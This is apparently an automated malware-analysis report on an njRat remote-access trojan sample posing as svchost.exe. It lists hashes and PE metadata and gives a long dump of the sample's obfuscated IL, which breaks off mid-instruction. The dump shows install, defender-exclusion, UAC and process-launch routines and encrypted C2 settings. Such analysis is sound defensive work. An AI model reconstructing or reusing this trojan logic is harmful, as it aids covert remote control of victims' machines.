Deep Malware Analysis of 0529a5892e6cb49def5866992e0289bd | md5: 0529a5892e6cb49def5866992e0289bd | RAT | njRat | Executable | PE (Portable Executable) | Win 32 Exe | x86 | .Net Obfuscator | .Net Reactor | .Net | SOS: 0.91

Summary by MalvaGPT

Characteristics

Hash	Hash Value
MD5	0529a5892e6cb49def5866992e0289bd
Sha1	18362450b89d940bad757ed26481da2ffa0a0e54
Sha256	2cf4c44ede16331535dfd6fd079441be5541d0fa686730d631689674fa3b4b03
Sha384	2b7c8dab88e9af761a08fda238ddfdbf6ddc1c5572fa579987ae305412a2b65d05b47cd6ea020501dbaa16164d050234
Sha512	44d469f23d11cdb1ed603b1491900cf696d7a0b31151683b6edc5bc1919add2fc0ed297cb5793fe247b76a45af5473e96a99875de358169bd6a7193e150fc56a
SSDeep	6144:pcVABMnIwubqHzRvZHZ66+fEPDpvDGEx2Svy8A2nnaGMbp1Me6s:pc6uIwVHzRRHg6+s7hDGKvq92
TLSH	2C940927B65A49B1D3884F3AC69B040463F69245B3D3E30E798523E62E433FED94E647

PeID

.NET executable

Microsoft Visual C# / Basic .NET

Microsoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL

Microsoft Visual C# v7.0 / Basic .NET

Microsoft Visual Studio .NET

File Structure

Informations

Name	Value
Module Name	svchost.exe
Full Name	svchost.exe
EntryPoint	System.Void Stub.Main::Main()
Scope Name	svchost.exe
Scope Type	ModuleDef
Kind	Windows
Runtime Version	v4.0.30319
Tables Header Version	512
WinMD Version	<null>
Assembly Name	svchost
Assembly Version	10.0.26100.4343
Assembly Culture	<null>
Has PublicKey	False
PublicKey Token	<null>
Target Framework	<null>
Total Strings	47
Main Method	System.Void Stub.Main::Main()
Main IL Instruction Count	553
Main IL	br.s IL_0007: ldc.i4 17 call <null> ldc.i4 17 stloc V_16 br IL_0015: ldloc V_16 ldloc V_16 switch dnlib.DotNet.Emit.Instruction[] br IL_093F: ldloc.s V_2 nop <null> ldloc.s V_17 newobj System.Void System.IO.FileInfo::.ctor(System.String) ldsfld bDX0MAXYvw2igUU0YW9 bDX0MAXYvw2igUU0YW9::NulXCAhw0K call System.IO.DirectoryInfo bDX0MAXYvw2igUU0YW9::xZ9Xnyn2eH(System.Object,bDX0MAXYvw2igUU0YW9) ldsfld Lbt5sZXfmW3L15sThof Lbt5sZXfmW3L15sThof::rk9XsIbM0H call System.String Lbt5sZXfmW3L15sThof::xZ9Xnyn2eH(System.Object,Lbt5sZXfmW3L15sThof) stloc.s V_4 ldc.i4 5 br IL_0097: switch(IL_0114,IL_0142,IL_00E9,IL_01B4,IL_01F4,IL_018F,IL_0178,IL_01CF,IL_00C5) ldloc V_9 switch dnlib.DotNet.Emit.Instruction[] br IL_0114: ldc.i4 1000 br IL_01B4: ldloc.s V_17 ldc.i4 1 ldsfld <Module>{f9e11811-d04f-46f6-901b-d77f315e846d} <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_8688f1f385a349de8d5e2378c1506b7c ldfld System.Int32 <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_b85f4fbca6964783a2748e1ab4b64e85 brtrue IL_0097: switch(IL_0114,IL_0142,IL_00E9,IL_01B4,IL_01F4,IL_018F,IL_0178,IL_01CF,IL_00C5) pop <null> ldc.i4 0 br IL_0097: switch(IL_0114,IL_0142,IL_00E9,IL_01B4,IL_01F4,IL_018F,IL_0178,IL_01CF,IL_00C5) ldloc.s V_11 ldsfld HTBvgoXeuIgHAFfv0XO HTBvgoXeuIgHAFfv0XO::MmwXgV6hRO call System.Void HTBvgoXeuIgHAFfv0XO::xZ9Xnyn2eH(System.Object,HTBvgoXeuIgHAFfv0XO) ldc.i4 0 ldsfld <Module>{f9e11811-d04f-46f6-901b-d77f315e846d} <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_8688f1f385a349de8d5e2378c1506b7c ldfld System.Int32 <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_f5ff1992e3f84f769351025df75f9a1c brfalse IL_0097: switch(IL_0114,IL_0142,IL_00E9,IL_01B4,IL_01F4,IL_018F,IL_0178,IL_01CF,IL_00C5) pop <null> ldc.i4 0 br IL_0097: switch(IL_0114,IL_0142,IL_00E9,IL_01B4,IL_01F4,IL_018F,IL_0178,IL_01CF,IL_00C5) ldc.i4 1000 ldsfld e9X8cCX2P2lWcdWHot7 e9X8cCX2P2lWcdWHot7::gv9XU9kgp0 call System.Void e9X8cCX2P2lWcdWHot7::xZ9Xnyn2eH(System.Int32,e9X8cCX2P2lWcdWHot7) ldc.i4 4 ldsfld <Module>{f9e11811-d04f-46f6-901b-d77f315e846d} <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_8688f1f385a349de8d5e2378c1506b7c ldfld System.Int32 <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_93ba8c6adeec41749dfa57ee403394e8 brfalse IL_0097: switch(IL_0114,IL_0142,IL_00E9,IL_01B4,IL_01F4,IL_018F,IL_0178,IL_01CF,IL_00C5) pop <null> ldc.i4 7 br IL_0097: switch(IL_0114,IL_0142,IL_00E9,IL_01B4,IL_01F4,IL_018F,IL_0178,IL_01CF,IL_00C5) ldloc.s V_4 ldsfld vY8rg5XWStTeZwdkJhU vY8rg5XWStTeZwdkJhU::ckHXxowntN call System.String vY8rg5XWStTeZwdkJhU::xZ9Xnyn2eH(System.Object,vY8rg5XWStTeZwdkJhU) ldsfld URRxqLX6429FEw9eAwy URRxqLX6429FEw9eAwy::zCFXIjgWBX call System.IO.DirectoryInfo URRxqLX6429FEw9eAwy::xZ9Xnyn2eH(System.String,URRxqLX6429FEw9eAwy) pop <null> ldc.i4 3 ldsfld <Module>{f9e11811-d04f-46f6-901b-d77f315e846d} <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_8688f1f385a349de8d5e2378c1506b7c ldfld System.Int32 <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_4c72b42d16314c0592b0632588b25cdc brfalse IL_0097: switch(IL_0114,IL_0142,IL_00E9,IL_01B4,IL_01F4,IL_018F,IL_0178,IL_01CF,IL_00C5) pop <null> ldc.i4 1 br IL_0097: switch(IL_0114,IL_0142,IL_00E9,IL_01B4,IL_01F4,IL_018F,IL_0178,IL_01CF,IL_00C5) ldloc.s V_17 newobj System.Void System.IO.FileInfo::.ctor(System.String) stloc.s V_11 ldc.i4 2 stloc V_9 br IL_0093: ldloc V_9 ldloc.s V_4 ldsfld vY8rg5XWStTeZwdkJhU vY8rg5XWStTeZwdkJhU::ckHXxowntN call System.String vY8rg5XWStTeZwdkJhU::xZ9Xnyn2eH(System.Object,vY8rg5XWStTeZwdkJhU) ldsfld HtMPaCXZstxwWhvwuOT HtMPaCXZstxwWhvwuOT::rBpXRvYhg7 call System.Boolean HtMPaCXZstxwWhvwuOT::xZ9Xnyn2eH(System.String,HtMPaCXZstxwWhvwuOT) brfalse IL_0142: ldloc.s V_4 ldc.i4 8 br IL_0097: switch(IL_0114,IL_0142,IL_00E9,IL_01B4,IL_01F4,IL_018F,IL_0178,IL_01CF,IL_00C5) ldloc.s V_17 ldsfld zSeWCXX1MDoXySrt5nX zSeWCXX1MDoXySrt5nX::eUGX5l4ZBn call System.Boolean zSeWCXX1MDoXySrt5nX::xZ9Xnyn2eH(System.String,zSeWCXX1MDoXySrt5nX) brfalse IL_0114: ldc.i4 1000 ldc.i4 6 br IL_0097: switch(IL_0114,IL_0142,IL_00E9,IL_01B4,IL_01F4,IL_018F,IL_0178,IL_01CF,IL_00C5) ldloc.s V_17 ldsfld System.Object aeHVn6KdJ2qrOa2BAtR.IcGHCDKLkbIJOiFM5qp::njxKBOPeC6 ldsfld NaETWMXShAewxOfDjTS NaETWMXShAewxOfDjTS::YctXDYMDZW call System.Byte[] NaETWMXShAewxOfDjTS::xZ9Xnyn2eH(System.String,NaETWMXShAewxOfDjTS) ldsfld QHRFRfXmxdSILqtpnry QHRFRfXmxdSILqtpnry::zitXErOVnp call System.Void QHRFRfXmxdSILqtpnry::xZ9Xnyn2eH(System.String,System.Byte[],QHRFRfXmxdSILqtpnry) ldc.i4 4 br IL_0097: switch(IL_0114,IL_0142,IL_00E9,IL_01B4,IL_01F4,IL_018F,IL_0178,IL_01CF,IL_00C5) leave IL_05B8: ldc.i4 1515351469 dup <null> ldsfld MkjJMKXGT2kraUq32VC MkjJMKXGT2kraUq32VC::gIJXcRhRYw call System.Void MkjJMKXGT2kraUq32VC::xZ9Xnyn2eH(System.Exception,MkjJMKXGT2kraUq32VC) stloc.s V_6 ldc.i4 1 ldsfld <Module>{f9e11811-d04f-46f6-901b-d77f315e846d} <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_8688f1f385a349de8d5e2378c1506b7c ldfld System.Int32 <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_32aff03f58fd4b32ab16b90ba3ce20d3 brfalse IL_0229: switch(IL_0264,IL_023B) pop <null> ldc.i4 1 br IL_0229: switch(IL_0264,IL_023B) ldloc V_15 switch dnlib.DotNet.Emit.Instruction[] br IL_0264: leave IL_05B8 ldsfld zhZt1rXMXPQipS5N65H zhZt1rXMXPQipS5N65H::rsDXVVLsVZ call System.Void zhZt1rXMXPQipS5N65H::xZ9Xnyn2eH(zhZt1rXMXPQipS5N65H) ldc.i4 0 ldsfld <Module>{f9e11811-d04f-46f6-901b-d77f315e846d} <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_8688f1f385a349de8d5e2378c1506b7c ldfld System.Int32 <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_b85f4fbca6964783a2748e1ab4b64e85 brtrue IL_0229: switch(IL_0264,IL_023B) pop <null> ldc.i4 0 br IL_0229: switch(IL_0264,IL_023B) leave IL_05B8: ldc.i4 1515351469 ldc.i4 4 br IL_0019: switch(IL_093F,IL_090F,IL_0955,IL_02F1,IL_05B7,IL_09B2,IL_0577,IL_08D5,IL_058C,IL_0300,IL_0987,IL_0567,IL_0273,IL_0568,IL_02E2,IL_006B,IL_02AE,IL_0930) ldsfld System.String Settings::InstallDir ldc.i4 1757912505 ldc.i4 52242211 xor <null> ldsfld <Module>{f9e11811-d04f-46f6-901b-d77f315e846d} <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_8688f1f385a349de8d5e2378c1506b7c ldfld System.Int32 <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_e396f081bf914ecba83adfbae46920ce xor <null> call System.String xb2vVZK1vDkpZtR1ETE.qyL1a0KIHNHWtI5YolD::CEX3XGqcR2(System.Int32) ldsfld System.String Settings::InstallStr ldsfld JHw8FKXAN9TDbEEJrm7 JHw8FKXAN9TDbEEJrm7::JGjXTVVSxT call System.String JHw8FKXAN9TDbEEJrm7::xZ9Xnyn2eH(System.String,System.String,System.String,JHw8FKXAN9TDbEEJrm7) stloc.s V_17 ldc.i4 15 br IL_0019: switch(IL_093F,IL_090F,IL_0955,IL_02F1,IL_05B7,IL_09B2,IL_0577,IL_08D5,IL_058C,IL_0300,IL_0987,IL_0567,IL_0273,IL_0568,IL_02E2,IL_006B,IL_02AE,IL_0930) ldsfld System.Int32 Settings::Sleep ldc.i4 1000 mul.ovf <null> ldsfld e9X8cCX2P2lWcdWHot7 e9X8cCX2P2lWcdWHot7::gv9XU9kgp0 call System.Void e9X8cCX2P2lWcdWHot7::xZ9Xnyn2eH(System.Int32,e9X8cCX2P2lWcdWHot7) ldc.i4 9 ldsfld <Module>{f9e11811-d04f-46f6-901b-d77f315e846d} <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_8688f1f385a349de8d5e2378c1506b7c ldfld System.Int32 <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_4c72b42d16314c0592b0632588b25cdc brfalse IL_0019: switch(IL_093F,IL_090F,IL_0955,IL_02F1,IL_05B7,IL_09B2,IL_0577,IL_08D5,IL_058C,IL_0300,IL_0987,IL_0567,IL_0273,IL_0568,IL_02E2,IL_006B,IL_02AE,IL_0930) pop <null> ldc.i4 1 br IL_0019: switch(IL_093F,IL_090F,IL_0955,IL_02F1,IL_05B7,IL_09B2,IL_0577,IL_08D5,IL_058C,IL_0300,IL_0987,IL_0567,IL_0273,IL_0568,IL_02E2,IL_006B,IL_02AE,IL_0930) br IL_0568: call System.Void Stub.Main::Exclusion() ldc.i4 6 br IL_0019: switch(IL_093F,IL_090F,IL_0955,IL_02F1,IL_05B7,IL_09B2,IL_0577,IL_08D5,IL_058C,IL_0300,IL_0987,IL_0567,IL_0273,IL_0568,IL_02E2,IL_006B,IL_02AE,IL_0930) call System.Void aeHVn6KdJ2qrOa2BAtR.IcGHCDKLkbIJOiFM5qp::nUwK0Lq7sD() ldc.i4 7 br IL_0019: switch(IL_093F,IL_090F,IL_0955,IL_02F1,IL_05B7,IL_09B2,IL_0577,IL_08D5,IL_058C,IL_0300,IL_0987,IL_0567,IL_0273,IL_0568,IL_02E2,IL_006B,IL_02AE,IL_0930) nop <null> ldsfld System.String Settings::Hosts call System.Object Stub.AlgorithmAES::Decrypt(System.String) ldsfld vY8rg5XWStTeZwdkJhU vY8rg5XWStTeZwdkJhU::ckHXxowntN call System.String vY8rg5XWStTeZwdkJhU::xZ9Xnyn2eH(System.Object,vY8rg5XWStTeZwdkJhU) stsfld System.String Settings::Hosts ldc.i4 5 br IL_0328: switch(IL_046D,IL_044A,IL_0404,IL_038A,IL_0352,IL_0427,IL_04A5,IL_03CC) ldloc V_7 switch dnlib.DotNet.Emit.Instruction[] br IL_046D: ldsfld System.String Settings::Groub ldsfld System.String Settings::SPL call System.Object Stub.AlgorithmAES::Decrypt(System.String) ldsfld vY8rg5XWStTeZwdkJhU vY8rg5XWStTeZwdkJhU::ckHXxowntN call System.String vY8rg5XWStTeZwdkJhU::xZ9Xnyn2eH(System.Object,vY8rg5XWStTeZwdkJhU) stsfld System.String Settings::SPL ldc.i4 0 ldsfld <Module>{f9e11811-d04f-46f6-901b-d77f315e846d} <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_8688f1f385a349de8d5e2378c1506b7c ldfld System.Int32 <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_e3dfa73ffe164ab492fdd0f667bd3368 brtrue IL_0328: switch(IL_046D,IL_044A,IL_0404,IL_038A,IL_0352,IL_0427,IL_04A5,IL_03CC) pop <null> ldc.i4 0 br IL_0328: switch(IL_046D,IL_044A,IL_0404,IL_038A,IL_0352,IL_0427,IL_04A5,IL_03CC) ldsfld System.String Settings::InstallDir call System.Object Stub.AlgorithmAES::Decrypt(System.String) ldsfld vY8rg5XWStTeZwdkJhU vY8rg5XWStTeZwdkJhU::ckHXxowntN call System.String vY8rg5XWStTeZwdkJhU::xZ9Xnyn2eH(System.Object,vY8rg5XWStTeZwdkJhU) ldsfld qsl8wGXB2raAVlNWqvu qsl8wGXB2raAVlNWqvu::xASXktxQ9k call System.String qsl8wGXB2raAVlNWqvu::xZ9Xnyn2eH(System.String,qsl8wGXB2raAVlNWqvu) stsfld System.String Settings::InstallDir ldc.i4 1 ldsfld <Module>{f9e11811-d04f-46f6-901b-d77f315e846d} <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_8688f1f385a349de8d5e2378c1506b7c ldfld System.Int32 <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_4349353f008a4839b1b4cb366be26255 brtrue IL_0328: switch(IL_046D,IL_044A,IL_0404,IL_038A,IL_0352,IL_0427,IL_04A5,IL_03CC) pop <null> ldc.i4 1 br IL_0328: switch(IL_046D,IL_044A,IL_0404,IL_038A,IL_0352,IL_0427,IL_04A5,IL_03CC) ldsfld System.String Settings::USBNM call System.Object Stub.AlgorithmAES::Decrypt(System.String) ldsfld vY8rg5XWStTeZwdkJhU vY8rg5XWStTeZwdkJhU::ckHXxowntN call System.String vY8rg5XWStTeZwdkJhU::xZ9Xnyn2eH(System.Object,vY8rg5XWStTeZwdkJhU) stsfld System.String Settings::USBNM ldc.i4 0 ldsfld <Module>{f9e11811-d04f-46f6-901b-d77f315e846d} <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_8688f1f385a349de8d5e2378c1506b7c ldfld System.Int32 <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_1846a924e3a844fdb2bf9a8c0a11b159 brtrue IL_0328: switch(IL_046D,IL_044A,IL_0404,IL_038A,IL_0352,IL_0427,IL_04A5,IL_03CC) pop <null> ldc.i4 3 br IL_0328: switch(IL_046D,IL_044A,IL_0404,IL_038A,IL_0352,IL_0427,IL_04A5,IL_03CC) ldsfld System.String Settings::KEY call System.Object Stub.AlgorithmAES::Decrypt(System.String) ldsfld vY8rg5XWStTeZwdkJhU vY8rg5XWStTeZwdkJhU::ckHXxowntN call System.String vY8rg5XWStTeZwdkJhU::xZ9Xnyn2eH(System.Object,vY8rg5XWStTeZwdkJhU) stsfld System.String Settings::KEY ldc.i4 4 br IL_0328: switch(IL_046D,IL_044A,IL_0404,IL_038A,IL_0352,IL_0427,IL_04A5,IL_03CC) ldsfld System.String Settings::Port call System.Object Stub.AlgorithmAES::Decrypt(System.String) ldsfld vY8rg5XWStTeZwdkJhU vY8rg5XWStTeZwdkJhU::ckHXxowntN call System.String vY8rg5XWStTeZwdkJhU::xZ9Xnyn2eH(System.Object,vY8rg5XWStTeZwdkJhU) stsfld System.String Settings::Port ldc.i4 2 br IL_0328: switch(IL_046D,IL_044A,IL_0404,IL_038A,IL_0352,IL_0427,IL_04A5,IL_03CC) ldsfld System.String Settings::InstallStr call System.Object Stub.AlgorithmAES::Decrypt(System.String) ldsfld vY8rg5XWStTeZwdkJhU vY8rg5XWStTeZwdkJhU::ckHXxowntN call System.String vY8rg5XWStTeZwdkJhU::xZ9Xnyn2eH(System.Object,vY8rg5XWStTeZwdkJhU) stsfld System.String Settings::InstallStr ldc.i4 6 br IL_0328: switch(IL_046D,IL_044A,IL_0404,IL_038A,IL_0352,IL_0427,IL_04A5,IL_03CC) ldsfld System.String Settings::Groub call System.Object Stub.AlgorithmAES::Decrypt(System.String) ldsfld vY8rg5XWStTeZwdkJhU vY8rg5XWStTeZwdkJhU::ckHXxowntN call System.String vY8rg5XWStTeZwdkJhU::xZ9Xnyn2eH(System.Object,vY8rg5XWStTeZwdkJhU) stsfld System.String Settings::Groub ldc.i4 7 ldsfld <Module>{f9e11811-d04f-46f6-901b-d77f315e846d} <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_8688f1f385a349de8d5e2378c1506b7c ldfld System.Int32 <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_d4e53517e53f4322a01129fd1400ecee brfalse IL_0328: switch(IL_046D,IL_044A,IL_0404,IL_038A,IL_0352,IL_0427,IL_04A5,IL_03CC) pop <null> ldc.i4 7 br IL_0328: switch(IL_046D,IL_044A,IL_0404,IL_038A,IL_0352,IL_0427,IL_04A5,IL_03CC) leave IL_09B2: call System.Boolean aeHVn6KdJ2qrOa2BAtR.IcGHCDKLkbIJOiFM5qp::wBLKFXNEud() dup <null> ldsfld MkjJMKXGT2kraUq32VC MkjJMKXGT2kraUq32VC::gIJXcRhRYw call System.Void MkjJMKXGT2kraUq32VC::xZ9Xnyn2eH(System.Exception,MkjJMKXGT2kraUq32VC) stloc.s V_3 ldc.i4 2 ldsfld <Module>{f9e11811-d04f-46f6-901b-d77f315e846d} <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_8688f1f385a349de8d5e2378c1506b7c ldfld System.Int32 <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_211565d2b26644ddbdb837cf9e9e9e52 brtrue IL_04DA: switch(IL_0543,IL_051A,IL_04F0) pop <null> ldc.i4 2 br IL_04DA: switch(IL_0543,IL_051A,IL_04F0) ldloc V_10 switch dnlib.DotNet.Emit.Instruction[] br IL_0543: leave IL_09B2 ldc.i4.0 <null> ldsfld hYBIX8Xiyt9uWsrHbrF hYBIX8Xiyt9uWsrHbrF::PtCX43aCMu call System.Void hYBIX8Xiyt9uWsrHbrF::xZ9Xnyn2eH(System.Int32,hYBIX8Xiyt9uWsrHbrF) ldc.i4 1 ldsfld <Module>{f9e11811-d04f-46f6-901b-d77f315e846d} <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_8688f1f385a349de8d5e2378c1506b7c ldfld System.Int32 <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_69c013052fcf44d2b6204694e8138978 brtrue IL_04DA: switch(IL_0543,IL_051A,IL_04F0) pop <null> ldc.i4 1 br IL_04DA: switch(IL_0543,IL_051A,IL_04F0) ldsfld zhZt1rXMXPQipS5N65H zhZt1rXMXPQipS5N65H::rsDXVVLsVZ call System.Void zhZt1rXMXPQipS5N65H::xZ9Xnyn2eH(zhZt1rXMXPQipS5N65H) ldc.i4 0 ldsfld <Module>{f9e11811-d04f-46f6-901b-d77f315e846d} <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_8688f1f385a349de8d5e2378c1506b7c ldfld System.Int32 <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_b4ebe58c937347369205077fe492f1ed brfalse IL_04DA: switch(IL_0543,IL_051A,IL_04F0) pop <null> ldc.i4 0 br IL_04DA: switch(IL_0543,IL_051A,IL_04F0) leave IL_09B2: call System.Boolean aeHVn6KdJ2qrOa2BAtR.IcGHCDKLkbIJOiFM5qp::wBLKFXNEud() ldc.i4 4 ldsfld <Module>{f9e11811-d04f-46f6-901b-d77f315e846d} <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_8688f1f385a349de8d5e2378c1506b7c ldfld System.Int32 <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_c6d7ff3a18cf471b8854e63832e743dd brtrue IL_0019: switch(IL_093F,IL_090F,IL_0955,IL_02F1,IL_05B7,IL_09B2,IL_0577,IL_08D5,IL_058C,IL_0300,IL_0987,IL_0567,IL_0273,IL_0568,IL_02E2,IL_006B,IL_02AE,IL_0930) pop <null> ldc.i4 5 br IL_0019: switch(IL_093F,IL_090F,IL_0955,IL_02F1,IL_05B7,IL_09B2,IL_0577,IL_08D5,IL_058C,IL_0300,IL_0987,IL_0567,IL_0273,IL_0568,IL_02E2,IL_006B,IL_02AE,IL_0930) ret <null> call System.Void Stub.Main::Exclusion() ldc.i4 12 br IL_0019: switch(IL_093F,IL_090F,IL_0955,IL_02F1,IL_05B7,IL_09B2,IL_0577,IL_08D5,IL_058C,IL_0300,IL_0987,IL_0567,IL_0273,IL_0568,IL_02E2,IL_006B,IL_02AE,IL_0930) ldc.i4.0 <null> ldsfld hYBIX8Xiyt9uWsrHbrF hYBIX8Xiyt9uWsrHbrF::PtCX43aCMu call System.Void hYBIX8Xiyt9uWsrHbrF::xZ9Xnyn2eH(System.Int32,hYBIX8Xiyt9uWsrHbrF) ldc.i4 13 br IL_0019: switch(IL_093F,IL_090F,IL_0955,IL_02F1,IL_05B7,IL_09B2,IL_0577,IL_08D5,IL_058C,IL_0300,IL_0987,IL_0567,IL_0273,IL_0568,IL_02E2,IL_006B,IL_02AE,IL_0930) ldloc.s V_2 ldsfld dKUMY0HHHXpGLNPyNYc dKUMY0HHHXpGLNPyNYc::B7QH7t2s9O call System.Void dKUMY0HHHXpGLNPyNYc::xZ9Xnyn2eH(System.Object,dKUMY0HHHXpGLNPyNYc) ldc.i4 0 ldsfld <Module>{f9e11811-d04f-46f6-901b-d77f315e846d} <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_8688f1f385a349de8d5e2378c1506b7c ldfld System.Int32 <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_4349353f008a4839b1b4cb366be26255 brfalse IL_0019: switch(IL_093F,IL_090F,IL_0955,IL_02F1,IL_05B7,IL_09B2,IL_0577,IL_08D5,IL_058C,IL_0300,IL_0987,IL_0567,IL_0273,IL_0568,IL_02E2,IL_006B,IL_02AE,IL_0930) pop <null> ldc.i4 0 br IL_0019: switch(IL_093F,IL_090F,IL_0955,IL_02F1,IL_05B7,IL_09B2,IL_0577,IL_08D5,IL_058C,IL_0300,IL_0987,IL_0567,IL_0273,IL_0568,IL_02E2,IL_006B,IL_02AE,IL_0930) nop <null> ldc.i4 1515351469 ldc.i4 1909800451 xor <null> ldsfld <Module>{f9e11811-d04f-46f6-901b-d77f315e846d} <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_8688f1f385a349de8d5e2378c1506b7c ldfld System.Int32 <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_0f105b6618ba4105b60c300da2a58c42 xor <null> call System.String xb2vVZK1vDkpZtR1ETE.qyL1a0KIHNHWtI5YolD::CEX3XGqcR2(System.Int32) newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor(System.String) stloc.s V_8 ldc.i4 6 br IL_05E8: switch(IL_0704,IL_0643,IL_0616,IL_0731,IL_0806,IL_0634,IL_082A,IL_07EC,IL_0841) ldloc V_0 switch dnlib.DotNet.Emit.Instruction[] br IL_0704: ldloc.s V_8 call System.String Stub.ClientSocket::UAC() ldsfld f0kcAVHKKDnTA9qaud8 f0kcAVHKKDnTA9qaud8::WDGH3PM0tn call System.Boolean f0kcAVHKKDnTA9qaud8::xZ9Xnyn2eH(System.String,f0kcAVHKKDnTA9qaud8) brtrue IL_0731: ldloc.s V_8 ldc.i4 5 br IL_05E8: switch(IL_0704,IL_0643,IL_0616,IL_0731,IL_0806,IL_0634,IL_082A,IL_07EC,IL_0841) br IL_0643: ldloc.s V_8 ldc.i4 3 br IL_05E8: switch(IL_0704,IL_0643,IL_0616,IL_0731,IL_0806,IL_0634,IL_082A,IL_07EC,IL_0841) ldloc.s V_8 ldc.i4.5 <null> newarr System.String stloc.s V_13 ldloc.s V_13 ldc.i4.0 <null> ldc.i4 882264746 ldc.i4 508622031 xor <null> ldsfld <Module>{f9e11811-d04f-46f6-901b-d77f315e846d} <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_8688f1f385a349de8d5e2378c1506b7c ldfld System.Int32 <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_34ec70f218a54aa79419f4f1f1fc5246 xor <null> call System.String xb2vVZK1vDkpZtR1ETE.qyL1a0KIHNHWtI5YolD::CEX3XGqcR2(System.Int32) stelem.ref <null> ldloc.s V_13 ldc.i4.1 <null> ldsfld System.String Settings::InstallStr ldsfld ObBSKyHvU4WuGO1m1Oa ObBSKyHvU4WuGO1m1Oa::VaCHQeKQXd call System.String ObBSKyHvU4WuGO1m1Oa::xZ9Xnyn2eH(System.String,ObBSKyHvU4WuGO1m1Oa) stelem.ref <null> ldloc.s V_13 ldc.i4.2 <null> ldc.i4 -1400386390 ldc.i4 5 shl <null> ldc.i4 -1693870519 xor <null> ldsfld <Module>{f9e11811-d04f-46f6-901b-d77f315e846d} <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_8688f1f385a349de8d5e2378c1506b7c ldfld System.Int32 <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_5d71d0531b444f739537d8fc03faf5a4 xor <null> call System.String xb2vVZK1vDkpZtR1ETE.qyL1a0KIHNHWtI5YolD::CEX3XGqcR2(System.Int32) stelem.ref <null> ldloc.s V_13 ldc.i4.3 <null> ldloc.s V_17 stelem.ref <null> ldloc.s V_13 ldc.i4.4 <null> ldc.i4 2031172983 ldc.i4 -1972715937 xor <null> ldc.i4 -908804420 xor <null> ldsfld <Module>{f9e11811-d04f-46f6-901b-d77f315e846d} <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_8688f1f385a349de8d5e2378c1506b7c ldfld System.Int32 <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_d5135f5733f64121a9b3b3c512e625d0 xor <null> call System.String xb2vVZK1vDkpZtR1ETE.qyL1a0KIHNHWtI5YolD::CEX3XGqcR2(System.Int32) stelem.ref <null> ldloc.s V_13 ldsfld vm8fZAH9oSU2I1207KI vm8fZAH9oSU2I1207KI::wSVHnsELvD call System.String vm8fZAH9oSU2I1207KI::xZ9Xnyn2eH(System.String[],vm8fZAH9oSU2I1207KI) ldsfld dDOfjXHLiwOhHnGsETp dDOfjXHLiwOhHnGsETp::futHdHSav3 call System.Void dDOfjXHLiwOhHnGsETp::xZ9Xnyn2eH(System.Object,System.String,dDOfjXHLiwOhHnGsETp) ldc.i4 0 ldsfld <Module>{f9e11811-d04f-46f6-901b-d77f315e846d} <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_8688f1f385a349de8d5e2378c1506b7c ldfld System.Int32 <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_1c9d0144972348edae0a08f9f03c64e1 brfalse IL_05E8: switch(IL_0704,IL_0643,IL_0616,IL_0731,IL_0806,IL_0634,IL_082A,IL_07EC,IL_0841) pop <null> ldc.i4 0 br IL_05E8: switch(IL_0704,IL_0643,IL_0616,IL_0731,IL_0806,IL_0634,IL_082A,IL_07EC,IL_0841) ldloc.s V_8 ldsfld yePdF4HpRFtIhQiyR6X yePdF4HpRFtIhQiyR6X::aN0HqaS5eq call System.Diagnostics.Process yePdF4HpRFtIhQiyR6X::xZ9Xnyn2eH(System.Diagnostics.ProcessStartInfo,yePdF4HpRFtIhQiyR6X) stloc.s V_14 ldc.i4 5 ldsfld <Module>{f9e11811-d04f-46f6-901b-d77f315e846d} <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_8688f1f385a349de8d5e2378c1506b7c ldfld System.Int32 <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_18940d6a81ab4f1cba7726bce1fa455e brtrue IL_05E8: switch(IL_0704,IL_0643,IL_0616,IL_0731,IL_0806,IL_0634,IL_082A,IL_07EC,IL_0841) pop <null> ldc.i4 7 br IL_05E8: 